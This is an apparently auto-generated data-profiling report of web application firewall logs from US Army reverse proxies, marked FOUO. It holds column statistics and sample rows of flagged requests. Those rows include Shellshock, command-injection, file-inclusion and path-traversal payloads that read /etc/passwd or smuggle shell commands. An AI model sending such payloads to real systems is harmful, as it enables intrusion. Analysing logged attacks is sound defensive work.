2629 
https://jacks.jpeocbd.army.mil/
804 
https://www.jpeocbrnd.osd.mil/
 
496
Other values (2077)
6246 
ValueCountFrequency (%) 
https://www.google.com/search?hl=en&q=testing471610.6%
 
https://www.first.army.mil/34877.9%
 
https://www.arsouth.army.mil/26295.9%
 
https://jacks.jpeocbd.army.mil/8041.8%
 
https://www.jpeocbrnd.osd.mil/4961.1%
 
https://www.arsouth.army.mil/covid19/Pages/default.aspx3640.8%
 
https://apps.aschq.army.mil/AFT/aftdocs.aspx?ro=false2720.6%
 
https://www.jpeocbrnd.osd.mil/coronavirus2590.6%
 
https://jackspublic.jpeocbd.army.mil/2130.5%
 
https://www.first.army.mil/divwest/css/1A.css1850.4%
 
Other values (2072)495311.2%
 
(Missing)2597558.6%
 
2020-09-26T20:30:57.268655image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique1896 ?
Unique (%)10.3%
2020-09-26T20:30:57.417255image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length1523
Median length3
Mean length22.93772687
Min length3

USERAGENT
Categorical

HIGH CARDINALITY

Distinct1937
Distinct (%)4.4%
Missing44
Missing (%)0.1%
Memory size346.5 KiB
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
31248 
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
 
2801
Nuclei - Open-source project (github.com/projectdiscovery/nuclei)
 
1871
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
 
754
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
 
719
Other values (1932)
6916 
ValueCountFrequency (%) 
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.363124870.5%
 
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/5528016.3%
 
Nuclei - Open-source project (github.com/projectdiscovery/nuclei)18714.2%
 
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)7541.7%
 
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.367191.6%
 
Mozilla/5.0 (Linux; Android 5.1; OPPO A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.81 Mobile Safari/537.366481.5%
 
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.364631.0%
 
Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.02870.6%
 
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.362450.6%
 
Fuzz Faster U Fool v1.1.0-git2400.5%
 
Other values (1927)503311.3%
 
2020-09-26T20:30:57.576575image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique1828 ?
Unique (%)4.1%
2020-09-26T20:30:57.735185image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length357
Median length115
Mean length106.6774288
Min length3

UUID_BLUECOATTRANS
Categorical

UNIQUE

Distinct44353
Distinct (%)100.0%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
67b1b39f24a80d5d-00000000a0a47cb2-000000005f3cb394
 
1
67b1b39f24a80d5d-00000000a0a6f9d9-000000005f3cd521
 
1
67b1b39f24a80d5d-00000000a095044c-000000005f3b95fa
 
1
67b1b39f24a80d5d-00000000a0a360d8-000000005f3ca036
 
1
67b1b39f24a80d5d-00000000a0a6e1d3-000000005f3cd43d
 
1
Other values (44348)
44348 
ValueCountFrequency (%) 
67b1b39f24a80d5d-00000000a0a47cb2-000000005f3cb3941< 0.1%
 
67b1b39f24a80d5d-00000000a0a6f9d9-000000005f3cd5211< 0.1%
 
67b1b39f24a80d5d-00000000a095044c-000000005f3b95fa1< 0.1%
 
67b1b39f24a80d5d-00000000a0a360d8-000000005f3ca0361< 0.1%
 
67b1b39f24a80d5d-00000000a0a6e1d3-000000005f3cd43d1< 0.1%
 
67b1b39f24a80d5d-00000000a0a5db7d-000000005f3cc5f61< 0.1%
 
67b1b39f24a80d5d-00000000a0a4a673-000000005f3cb6661< 0.1%
 
67b1b39f24a80d5d-00000000a0a41d6d-000000005f3ca8001< 0.1%
 
67b1b39f24a80d5d-00000000a271cf20-000000005f4d8d131< 0.1%
 
67b1b39f24a80d5d-00000000a0a7eea0-000000005f3cdeea1< 0.1%
 
Other values (44343)44343> 99.9%
 
2020-09-26T20:30:57.953602image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique44353 ?
Unique (%)100.0%
2020-09-26T20:30:58.068252image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length50
Median length50
Mean length50
Min length50

VERSION_ELFFLOGTYPE
Boolean

CONSTANT
REJECTED

Distinct1
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
1
44353 
ValueCountFrequency (%) 
144353100.0%
 
2020-09-26T20:30:58.130088image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/

Interactions

2020-09-26T20:30:08.237641image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:08.558781image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:08.808113image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:09.079389image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:09.373608image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:09.647875image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:09.939445image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:10.172821image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:10.409189image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:10.671488image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:10.977667image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:11.382583image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:11.672807image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:11.886238image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:12.135578image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:12.384908image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:12.809771image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:13.096990image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:13.397187image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:13.787142image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:14.215995image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:14.525167image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:14.801429image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:15.045769image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:15.234264image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:15.419800image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:15.605271image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:15.783792image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:15.972320image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:16.223248image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:16.431690image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:16.632189image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:16.829627image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:17.026605image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:17.214103image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:17.403596image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:17.582151image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:17.764631image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:17.940193image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:18.123669image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:18.315190image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:18.650261image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:18.967412image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:19.224236image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:19.464609image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:19.731893image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:19.941334image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:20.146783image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:20.480898image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:20.698316image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:20.895792image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:21.284747image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:21.588932image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:21.843253image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:22.079620image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:22.310004image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:22.573298image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:22.817650image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:23.020123image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:23.224575image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:23.421049image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:23.593619image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:23.762138image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:23.983545image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:24.179085image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:24.358604image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:24.534167image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:24.707746image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:24.863325image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:25.026863image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:25.192488image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:25.360008image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:25.521577image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:25.684177image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:25.834806image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:26.000368image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:26.215988image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:26.416492image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:26.581084image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:26.716719image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:26.849396image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:26.982043image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:27.111697image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:27.235399image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:27.363064image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:27.484730image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:27.621372image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:27.873590image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:27.997293image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:28.130970image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:28.264582image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:28.403212image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:28.542839image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:28.689482image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:28.823119image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:28.964708image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:29.113327image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:29.268909image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:29.417581image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:29.565186image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:29.717747image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:29.870408image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:30.013992image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:30.206477image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:30.483736image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:30.668241image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:30.838786image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:30.987419image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:31.168904image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:31.370362image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:31.553903image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:31.722372image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:31.873968image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:32.032542image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:32.195145image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:32.352717image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:32.505279image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:32.661897image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:32.803519image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:32.947135image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:33.097732image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/

Correlations

2020-09-26T20:30:58.196909image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/

Pearson's r

The Pearson's correlation coefficient (r) is a measure of linear correlation between two variables. It's value lies between -1 and +1, -1 indicating total negative linear correlation, 0 indicating no linear correlation and 1 indicating total positive linear correlation. Furthermore, r is invariant under separate changes in location and scale of the two variables, implying that for a linear function the angle to the x-axis does not affect r.

To calculate r for two variables X and Y, one divides the covariance of X and Y by the product of their standard deviations.
2020-09-26T20:30:58.449234image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/

Spearman's ρ

The Spearman's rank correlation coefficient (ρ) is a measure of monotonic correlation between two variables, and is therefore better in catching nonlinear monotonic correlations than Pearson's r. It's value lies between -1 and +1, -1 indicating total negative monotonic correlation, 0 indicating no monotonic correlation and 1 indicating total positive monotonic correlation.

To calculate ρ for two variables X and Y, one divides the covariance of the rank variables of X and Y by the product of their standard deviations.
2020-09-26T20:30:58.700561image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/

Kendall's τ

Similarly to Spearman's rank correlation coefficient, the Kendall rank correlation coefficient (τ) measures ordinal association between two variables. It's value lies between -1 and +1, -1 indicating total negative correlation, 0 indicating no correlation and 1 indicating total positive correlation.

To calculate τ for two variables X and Y, one determines the number of concordant and discordant pairs of observations. τ is given by the number of concordant pairs minus the discordant pairs divided by the total number of pairs.
2020-09-26T20:30:58.967914image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/

Phik (φk)

Phik (φk) is a new and practical correlation coefficient that works consistently between categorical, ordinal and interval variables, captures non-linear dependency and reverts to the Pearson correlation coefficient in case of a bivariate normal input distribution. There is extensive documentation available here.

Missing values

2020-09-26T20:30:33.849531image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:39.216574image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:41.936955image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:42.649155image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/

Sample

First rows

IdTimestampData TypeVisibilityACTION_PROXYSGASN_SRCBYTES_INPUTBYTES_OUTPUTBYTES_RECEIVED_RSCOCOM_SERVERCOCOM_SRCCONTENTTYPE_HTTPHEADERCOUNTRY_SERVERCOUNTRY_SRCDATETIME_LOGSTARTDATETIME_RECORDDETAIL_MONITORDETAIL_SCANFILENAME_INGESTHOSTNAME_DSTHOSTNAME_DST_LCASEHOSTNAME_DST_REVERSEHTTPMETHOD_DSTHTTPSTATUSCODEIPBRANCHCATEGORY_SERVERIPBRANCHCATEGORY_SRCIP_DST_EFFECTIVEIP_DST_FORWARDEDIP_SERVERIP_SRCLATENCYLATITUDE_SERVERLATITUDE_SRCLOCAL_TIMESTAMPLONGITUDE_SERVERLONGITUDE_SRCMILLISECONDS_TIMETAKENORGANIZATION_OWNER_SERVEROUTBOUNDINTERFACE_DEVICEOUTCOME_POLICYVERDICT_BCSGOSPORT_DSTPRODUCTNAMEREMARK_PROXSYSGSCORE_BLUECOATWAFSITE_COLLECTIONTYPE_ATTACKURI_EXTENSIONURI_PATHURI_QUERYURI_SCHEMEURL_REFERRERUSERAGENTUUID_BLUECOATTRANSVERSION_ELFFLOGTYPE
0256279062ec224a8f2a86560ebccd20b1598669026000rev-proxy-cU&FOUOTCP_POLICY_REDIRECT7545.024629480USNORTHCOMUSINDOPACOMNaNUSAU2020-08-29T02:35:11Z2020-07-17T23:24:13Z[{"eng":"injection.command","part":"path","host":"linux","version":"3","data":"mysql"}]WAF_SCANNEDhttp_accel_wap_log.ROCK.2020.08.29.03.35.09.gz143.84.8.25143.84.8.25NaNGET301ArmyNon-Army106.69.124.142NaN143.84.8.2106.69.124.142NaN31.567824-33.88842020-08-29T12:43:46+10:00[Australia/Sydney]-110.376817151.21185HQ, 7TH SIGNAL COMMAND143.84.8.25policy_redirect80SGOS 6.7.4.71714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK10ROCKCommand Injectionphp/mysql/sqlmanager/index.php?lang=enhttpNaNMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.3667b1b39f24a80d5d-00000000a22abfc1-000000005f49c0e21.0
1338ab21151bc2fcfe2fefbbf1ecf41fc1598723111000rev-proxy-cU&FOUOTCP_NC_MISS14061.032515141522USNORTHCOMUSEUCOMtext/htmlUSGB2020-08-29T17:35:11Z2020-07-17T23:24:13Z[{"eng":"injection.command","part":"query_arg","host":"linux","version":"3","data":"1;echo \"bm9uZXhpc3RlbnQ=\" | base64 -d"}]WAF_SCANNEDhttp_accel_wap_log.ROCK.2020.08.29.18.35.10.gzwww.jmc.army.milwww.jmc.army.milmil.army.jmc.wwwGET404ArmyNon-Army161.35.43.253NaN143.84.8.2161.35.43.25319.031.56782451.51322020-08-29T18:45:11+01:00[Europe/London]-110.376817-0.0961276HQ, 7TH SIGNAL COMMANDNaNNaN443SGOS 6.7.4.71714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK10ROCKCommand Injectionphp/linuxki/experimental/vis/kivis.php?type=kitrace&pid=1%3Becho%20%22bm9uZXhpc3RlbnQ%3D%22%20%7C%20base64%20-dhttpsNaNMozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)67b1b39f24a80d5d-00000000a235823c-000000005f4a94261.0
287d60f96741ac85d957580e4bed2c1651597059619000rev-proxy-cU&FOUOTCP_NC_MISS14061.017514711388USNORTHCOMUSINDOPACOMtext/htmlUSIN2020-08-10T11:35:11Z2020-07-17T23:24:13Z[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"{ :;}; echo $(<\/etc\/passwd)"},{"eng":"analytics_filter","part":"header","rule":["AF-1006-1","AF-1006-9","AF-1006-32"],"data":"{ :;}; echo $(<\/etc\/passwd)"}]WAF_SCANNEDhttp_accel_wap_log.ROCK.2020.08.10.12.35.10.gzjpeocbrnd.army.miljpeocbrnd.army.milmil.army.jpeocbrndGET404ArmyNon-Army167.71.234.85NaN143.84.8.2167.71.234.854.031.56782412.97192020-08-10T17:10:19+05:30[Asia/Kolkata]-110.37681777.5937998HQ, 7TH SIGNAL COMMANDNaNNaN443SGOS 6.7.4.71714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK10ROCKCommand InjectionNaN/cgi-bin/statusNaNhttpsNaN{ :;}; echo $(</etc/passwd)67b1b39f24a80d5d-00000000a011edea-000000005f3132221.0
31001763c1beb9e13e01c07fa635a8bea1597005767000rev-proxy-cU&FOUOTCP_POLICY_REDIRECT14061.026228580USNORTHCOMUSINDOPACOMNaNUSIN2020-08-09T20:35:12Z2020-07-17T23:24:13Z[{"eng":"injection.command","part":"post_arg","host":"linux","version":"3","data":"{\"routestring\":\"ajax\\\/render\\\/widget_php\",\"widgetConfig[code]\":\"echo 'bm9uZXhpc3RlbnQ6MTMzNwo=' | base64 -d; exit;\"}\n\n"}]WAF_SCANNEDhttp_accel_wap_log.ROCK.2020.08.09.21.35.10.gzjacks.jpeocbd.army.miljacks.jpeocbd.army.milmil.army.jpeocbd.jacksPOST301ArmyNon-Army167.71.234.85NaN143.84.8.2167.71.234.85NaN31.56782412.97192020-08-10T02:12:47+05:30[Asia/Kolkata]-110.37681777.593726HQ, 7TH SIGNAL COMMANDNaNpolicy_redirect80SGOS 6.7.4.71714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK10ROCKCommand InjectionNaN/NaNhttpNaNGo-http-client/1.167b1b39f24a80d5d-000000009fff679d-000000005f305fc71.0
4a15d5b1efe7d825560c9fa4411643ebe1597005553000rev-proxy-cU&FOUOTCP_POLICY_REDIRECT14061.022828770USNORTHCOMUSINDOPACOMNaNUSIN2020-08-09T20:35:12Z2020-07-17T23:24:13Z[{"eng":"injection.command","part":"path","host":"linux","version":"3","data":"passwd"},{"eng":"analytics_filter","part":"path","rule":["AF-1003-16","AF-1003-36","AF-1003-41"],"data":"\/assets\/file:\/\/\/etc\/passwd"}]WAF_SCANNEDhttp_accel_wap_log.ROCK.2020.08.09.21.35.10.gzako.first.army.milako.first.army.milmil.army.first.akoGET302ArmyNon-Army167.71.234.85NaN143.84.8.2167.71.234.85NaN31.56782412.97192020-08-10T02:09:13+05:30[Asia/Kolkata]-110.37681777.5937620HQ, 7TH SIGNAL COMMANDNaNpolicy_redirect443SGOS 6.7.4.71714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK10ROCKCommand Injection;Local File InclusionNaN/assets/file:%2f%2f/etc/passwdNaNhttpsNaNNuclei - Open-source project (github.com/projectdiscovery/nuclei)67b1b39f24a80d5d-000000009fff6387-000000005f305ef11.0
5ceb9d3a1832c3c8d26696e0b417d8dde1596989108000rev-proxy-cU&FOUOTCP_NC_MISS15169.027959065838USNORTHCOMUSNORTHCOMtext/html;%20charset=utf-8USUS2020-08-09T15:35:11Z2020-07-17T23:24:13Z[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"bzip2"}]WAF_SCANNEDhttp_accel_wap_log.ROCK.2020.08.09.16.35.10.gzwww.jmc.army.milwww.jmc.army.milmil.army.jmc.wwwGET200ArmyNon-Army35.245.2.190NaN143.84.8.235.245.2.19024.031.56782437.40432020-08-09T09:05:08-07:00[America/Los_Angeles]-110.376817-122.0748132HQ, 7TH SIGNAL COMMANDNaNNaN443SGOS 6.7.4.71714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK10ROCKCommand Injectionaspx/Leadership.aspx?id=ExeDirAmmohttpsNaNMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.067b1b39f24a80d5d-000000009ff715af-000000005f301eb41.0
64bfe94ceeba122bc50358a4f5dc618661599124692000rev-proxy-cU&FOUOTCP_NC_MISS14061.015714381401USNORTHCOMUSNORTHCOMtext/htmlUSCA2020-09-03T08:35:11Z2020-07-17T23:24:13Z[{"eng":"blacklist","part":"path","rule":["BL-3149-0"],"cve":["CVE-2000-0884"],"data":"\/..logs"}]WAF_SCANNEDhttp_accel_wap_log.ROCK.2020.09.03.09.35.10.gz143.84.8.15143.84.8.15NaNGET404ArmyNon-Army167.99.188.179NaN143.84.8.2167.99.188.179220.031.56782443.65472020-09-03T05:18:12-04:00[America/Toronto]-110.376817-79.3623349HQ, 7TH SIGNAL COMMAND143.84.8.15NaN443SGOS 6.7.4.71714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK0ROCKCommand InjectionNaN/%2e%2elogs/NaNhttpsNaNMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/5567b1b39f24a80d5d-00000000a2cd25e3-000000005f50b4d41.0
758a32584cc90d4f4a6a37bae85de39371599098143000rev-proxy-cU&FOUOTCP_NC_MISS577.016129200USNORTHCOMUSNORTHCOMNaNUSCA2020-09-03T01:35:11Z2020-07-17T23:24:13Z[{"detect":"multiple_encoding","part":"path","normalization":"url_decode","data":"..tmp"},{"eng":"blacklist","part":"path","rule":["BL-3149-0"],"cve":["CVE-2000-0884"],"data":"\/..tmp"}]WAF_SCANNEDhttp_accel_wap_log.ROCK.2020.09.03.02.35.10.gz143.84.8.115143.84.8.115NaNGET400ArmyNon-Army70.27.174.205NaN143.84.8.270.27.174.205NaN31.56782443.88412020-09-02T21:55:43-04:00[America/Toronto]-110.376817-79.0607133HQ, 7TH SIGNAL COMMAND143.84.8.115invalid_request443SGOS 6.7.4.71714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK10ROCKMultiple Encoding;Command InjectionNaN/%252e%252etmp/NaNhttpsNaNMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/5567b1b39f24a80d5d-00000000a2c4f663-000000005f504d1f1.0
